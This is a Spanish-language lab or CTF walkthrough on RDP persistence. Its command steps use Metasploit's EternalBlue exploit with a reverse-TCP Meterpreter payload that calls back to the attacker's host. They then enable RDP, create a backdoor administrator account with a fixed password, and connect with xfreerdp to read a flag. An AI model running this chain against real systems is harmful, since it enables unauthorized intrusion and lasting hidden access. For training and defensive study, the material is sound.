🖥 ¿Qué es la Persistencia mediante RDP?
RDP (Remote Desktop Protocol) es el protocolo de Microsoft para control remoto gráfico de sistemas Windows, que opera en el puerto 3389/TCP. Una vez comprometida la máquina, habilitar RDP y crear un usuario administrador permite al atacante reconectarse en cualquier momento sin necesidad de repetir la explotación inicial.
Técnica MITRE ATT&CK: T1021.001 - Remote Services: Remote Desktop Protocol + T1136 - Create Account.
Herramientas utilizadas
| Herramienta | Propósito |
|---|---|
| Metasploit / EternalBlue | Explotación inicial via SMB |
| getgui (script Meterpreter) | Habilitar RDP y crear usuario |
| xfreerdp | Cliente RDP desde Linux |
| netstat | Verificar que el puerto 3389 está en escucha |
🔍 Fase 1 — Reconocimiento
Escaneo inicial (RDP puede estar cerrado)
nmap <IP>
# Puerto 3389 cerrado o deshabilitado inicialmente
💥 Fase 2 — Explotación y habilitación de RDP
Obtener sesión Meterpreter
msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <IP>
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <IP_atacante>
exploit
Habilitar RDP y crear usuario persistente
# Habilitar el servicio de Escritorio Remoto
run getgui -e
# Crear usuario administrador para RDP
run getgui -u backdoor -p Passw0rd!
Verificar que RDP está activo
# Desde shell de Windows (shell en Meterpreter)
netstat -an | find "3389"
query user
🖥 Fase 3 — Conexión RDP persistente
Conectar por RDP desde el atacante
xfreerdp /u:backdoor /p:Passw0rd! /v:<IP>
Navega a C:\Users\Administrator\Desktop y abre flag.txt.
Un RDP habilitado con credenciales conocidas es un vector de ataque crítico. En entornos reales, usar contraseñas complejas y restricciones de acceso.
📋 Flujo del ataque
1
ReconocimientoConfirmar que el puerto 3389 está cerrado o deshabilitado.
2
ExplotaciónObtener sesión Meterpreter mediante vulnerabilidad SMB.
3
PersistenciaUsar getgui para habilitar RDP y crear usuario administrador.
4
Acceso remotoConectarse vía RDP con las credenciales creadas.
5
FlagLocalizar y leer flag.txt desde el escritorio.
🧠 Conceptos clave
- RDP: Protocolo propietario de Microsoft para control remoto gráfico en el puerto 3389/TCP.
- getgui: Script de Metasploit que automatiza la habilitación de RDP y la creación de usuarios.
- Persistencia: Un usuario RDP local permanece incluso después de perder la sesión Meterpreter.
- query user: Comando Windows para listar sesiones RDP activas.
- xfreerdp: Cliente RDP open-source para Linux, equivalente a mstsc.exe en Windows.